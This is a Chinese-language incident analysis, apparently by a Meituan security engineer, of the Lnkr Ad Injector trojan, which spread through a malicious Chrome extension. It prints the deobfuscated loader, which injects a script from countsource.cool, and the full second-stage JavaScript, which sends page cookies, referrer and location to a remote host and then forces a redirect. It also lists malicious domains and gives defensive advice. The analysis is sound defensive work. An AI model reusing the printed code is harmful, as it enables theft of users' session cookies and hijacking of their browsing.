黑客信息网:隐藏在浏览器背后的“黑手”

访客4年前关于黑客接单610

  // 文丨陶琦

  笔者具有多年信息安全行业从业经验,目前在美团致力于研发安全体系建设。

  2020年10月,美团安全运营平台发现流量中存在恶意JavaScript请求,信息安全部收到告警后立即开始应急处理,通过对 *** 环境、访问日志等进行排查,最终锁定恶意请求由Chrome浏览器安装恶意插件引起,该恶意JavaScript文件会窃取Cookie并强制用户跳转到恶意色情站点、推广链接等,结合美团威胁情报大数据,发现该插件与Lnkr Ad Injector木马特征吻合。

  此类木马传播方式多样,会通过浏览器插件、Broken Link Hijacking等方式在页面中植入恶意代码,不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现,多个国内大型互联网站点(Alexa全球排名前600)被感染,影响上亿网民的上网安全,建议各大平台对自身系统第三方加载源以及内部终端设备进行检查,避免遭受此类木马攻击。

  2.1 安全运营平台发出异常告警

  Chrome沙箱监测到恶意JavaScript文件,发出异常告警:

  image.png

  通过告警信息判断基本的攻击行为是:

  用户访问正常页面;

  页面加载外部JavaScript文件(A):

  

  A加载第二个JavaScript文件(B):

  

  B包含恶意代码,向远程域名发送Cookie等敏感信息。

  2.2 分析攻击路径

  根据告警中涉及的触发页面、相关 *** 环境信息,排除流量劫持、XSS攻击等情况,猜测可能的原因为浏览器插件或恶意软件导致。

  通过沙箱对问题设备上所有Chrome插件进行分析,发现一个名为Vysor的Chrome插件代码存在恶意行为,检测结果如下:

  {

  "call_window_location": {

  "info": "get document.location",

  "capture": []

  },

  "call_document_createElement": {

  "info": "call document.createElement, create script element",

  "capture": [

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:INPUT",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:FIELDSET",

  "create element elementName:SCRIPT",

  "create element elementName:LINK"

  ]

  },

  "call_document_removeChild": {

  "info": "call document.removeChild",

  "capture": [

  "remove element {elementName:fieldset}",

  "remove element {elementName:fieldset}",

  "remove element {elementName:fieldset}"

  ]

  },

  "set_scriptSrcValue": {

  "info": "set script src unsafe value",

  "capture": [

  "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"

  ]

  }

  }

  可以看到插件代码创建了script标签,然后将script标签的src属性设置为:

  //s3.amazonaws.com/js-static/18ced489204f8ff908.js。

  2.3 插件恶意代码分析

  为了进一步研究该组织木马的特征,我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大,结构混乱,包含大量干扰代码。

  首先恶意代码预先设置了许多无明显意义的字符串,用于构造Payload。

  image.png

  这些字符串通过下面 *** 的一系列转换最终构造出创建script标签的语句 document['createElement']('script'),doctype即为创建出来的script对象。

  image.png

  接下来为script对象的src属性赋值,在addHandler *** 中,cl这个参数由elem传递过来,其中包含src字符串,通过cl[0].split('>').slice(2, 3)拿到关键字src,tag是上文的doctype变量也就是script对象,在构造src值这部分,可以看到在常量中有一串一部分很像是base64的字符串:

  mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.* '

  恶意代码利用该字符串结合其他预设变量进行一系列转换,最终形成base64后的加载地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:

  image.png

  通过createLinkPseudo *** 解base64,经过replace后形成恶意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js;

  image.png

  s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加载下一层的恶意Javascript文件(//countsource.cool/18ced489204f8ff908.js),代码如下:

  (function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;

  //countsource.cool/18ced489204f8ff908.js文件内容为:

  (function () {

  function initXMLhttp() {

  var xmlhttp;

  if (window.XMLHttpRequest) {

  xmlhttp = new XMLHttpRequest();

  } else {

  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

  }

  return xmlhttp;

  }

  function minAjax(config) {

  if (!config.url) {

  return;

  }

  if (!config.type) {

  return;

  }

  if (!config.method) {

  config.method = true;

  }

  if (!config.debugLog) {

  config.debugLog = false;

  }

  var sendString = [],

  sendData = config.data;

  if (typeof sendData === "string") {

  var tmpArr = String.prototype.split.call(sendData, '&');

  for (var i = 0, j = tmpArr.length; i

  var datum = tmpArr[i].split('=');

  sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));

  }

  } else if (typeof sendData === 'object' && !(sendData instanceof String)) {

  for (var k in sendData) {

  var datum = sendData[k];

  if (Object.prototype.toString.call(datum) == "[object Array]") {

  for (var i = 0, j = datum.length; i

  sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));

  }

  } else {

  sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));

  }

  }

  }

  sendString = sendString.join('&');

  if (window.XDomainRequest) {

  var xmlhttp = new window.XDomainRequest();

  xmlhttp.onload = function () {

  if (config.success) {

  config.success(xmlhttp.responseText);

  }

  };

  xmlhttp.open("POST", config.url);

  xmlhttp.send(sendString);

  } else {

  var xmlhttp = initXMLhttp();

  xmlhttp.onreadystatechange = function () {

  if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {

  if (config.success) {

  config.success(xmlhttp.responseText, xmlhttp.readyState);

  }

  } else {}

  }

  if (config.type == "GET") {

  xmlhttp.open("GET", config.url + "?" + sendString, config.method);

  xmlhttp.send();

  }

  if (config.type == "POST") {

  xmlhttp.open("POST", config.url, config.method);

  xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  xmlhttp.send(sendString);

  }

  }

  }

  dL();

  function dL() {

  var host = '';

  var config = {

  url: host + "/stats.php",

  type: "POST",

  data: {

  vbase: document.baseURI,

  vhref: location.href,

  vref: document.referrer,

  k: "Y291bnRzb3VyY2UuY29vbA==",

  ck: document.cookie,

  t: Math.floor(new Date().getTime() / 1000),

  tg: ""

  },

  success: onSuccessCallback

  };

  function bl(resp) {

  ! function (dr) {

  function t() {

  return !!localStorage && localStorage.getItem(a)

  }

  function e() {

  o(),

  parent.top.window.location.href = c

  }

  function o() {

  var t = r + i;

  if (localStorage) {

  localStorage.setItem(a, t)

  }

  }

  function n() {

  if (t()) {

  var o = localStorage && localStorage.getItem(a);

  r > o && e()

  } else e()

  }

  var a = "MenuIdentifier",

  r = Math.floor((new Date).getTime() / 1e3),

  c = dr,

  i = 86400;

  n()

  }(resp);

  }

  function onSuccessCallback(response) {

  if (response && response.indexOf('http') > -1) {

  bl(response);

  }

  }

  minAjax(config);

  }

  })();

  该文件是真正实现恶意行为的代码,这部分代码没有经过混淆、加密,也没有加入其他无意义的代码干扰分析,可以很清晰地看到其恶意行为:

  获取当前页面Cookie,ck参数;

  获取当前页面Referrer;

  获取当前页面Location;

  使用XMLHttpRequest将获取到的数据发送到:

  

  利用onSuccessCallback *** 进行跳转。

  至此实现了将Cookie发送到远端接收地址,后续通过onSuccessCallback返回内容完成跳转,完整流程:

  image.png

  2.4 通过已发现的IoC深入排查

  通过上述特征,发现大量与Lnkr木马相关的域名和插件,部分并未出现在已知的威胁情报中,经进一步分析发现,移动终端设备也有触发恶意请求的情况。

  除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马,用户如果访问到这些站点,Cookie信息会被直接发送到远端,存在极高的安全风险。针对站点自身存在恶意资源的这类情况,极有可能是攻击者利用Broken Link Hijacking的攻击手法,对过期域名进行抢注,站点在访问原有资源时被劫持到恶意资源。

  3.1 恶意域名

  以下列举了此次检测发现的恶意域名:

  mirextpro.com

  browfileext.com

  nextextlink.com

  lisegreen.biz

  makesure.biz

  clipsold.com

  comtakelink.xyz

  protesidenext.com

  promfflinkdev.com

  rayanplug.xyz

  countsource.cool

  blancfox.com

  skipush1.bbn.com.cn

  donewrork.org

  loungesrc.net

  higedev.cool

  s3.amazonaws.com/cashe-js/

  s3.amazonaws.com/js-cache/

  s3.amazonaws.com/jsfile/

  s3.amazonaws.com/cashe-js/

  cdngateway.net (接收Cookie域名)

  sslproviders.net (接收Cookie域名)

  cdncontentdelivery.com (接收Cookie域名)

  3.2 恶意插件

  排查到包含Lnkr木马特征的恶意插件:

  image.png

  部分恶意插件截图:

  image.png

  Lnkr木马所造成的危害有哪些?

  Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位,从流量来源角度,通过外部网站跳转带来的流量占比总流量的65.48%,可见其攻击范围极广,受其影响的应用、用户数量也是非常庞大的。

  image.png

  image.png

  此类木马对外部用户和内部员工访问同时具有严重危害。

  在外部用户方面,如果企业没有严格控制系统第三方资源加载,黑产利用Broken Link Hijacking的攻击手法,致使业务系统加载资源时被劫持植入恶意代码,将严重影响用户体验、信息安全和企业形象。

  从内部员工角度,传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插件,攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源,不仅仅可以用于广告注入,相较于针对浏览器的其他攻击方式,可以达到更稳定,触发面更广的敏感信息窃取、内网探测等,在CSP历史阻断的恶意请求中,我们也发现除窃取Cookie信息外,也存在恶意代码窃取页面文本信息的情况,这些文本信息在企业内部平台中,极有可能包含大量用户,订单等敏感信息。

  如何发现此类恶意木马植入?

  针对恶意浏览器插件,在检测方面对其代码做静态分析成本比较大,触发恶意请求的Payload都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实际意义的 *** ,在动态分析方面,由于Chrome插件代码会调用Chrome后台API,在常规沙箱环境中可能会出现无法调用API而中途报错退出。分析中还发现,很多恶意行为需要触发特定事件才能进入到构造恶意Payload流程,如触发chrome.tabs.onUpdated等。

  对于浏览器插件安全,可以通过以下方式进行检测及防护:

  禁止安装未在Chrome应用商店上线的插件(公司内部开发的插件除外);

  对插件manfiest.json文件进行轻量级的排查,manfiest.json文件中申请权限相对敏感,如Cookie、tabs、webRequest等等;

  利用内容安全策略(CSP)对应用页面发起的请求进行拦截或监控, *** 静态与动态分析技术,判断JavaScript文件行为;

  利用浏览器沙箱与EDR,定期对浏览器插件进行扫描;

  构建 *** 层的检测能力,发现有恶意请求及时应急处理。

  对于业务系统自身是否加载恶意资源方面:

  严格控制系统加载的第三方资源;

  通过内容安全策略(CSP)对页面触发的请求进行拦截或监控。

  目前团队正在努力打造语言虚拟机—基础服务—上层应用的纵深应用安全体系,急需对研发安全感兴趣的同学加入!如果你正好有求职意向且满足以下岗位要求,欢迎投递简历至(邮件主题请注明:【研发安全专家-城市-美团SRC】)。

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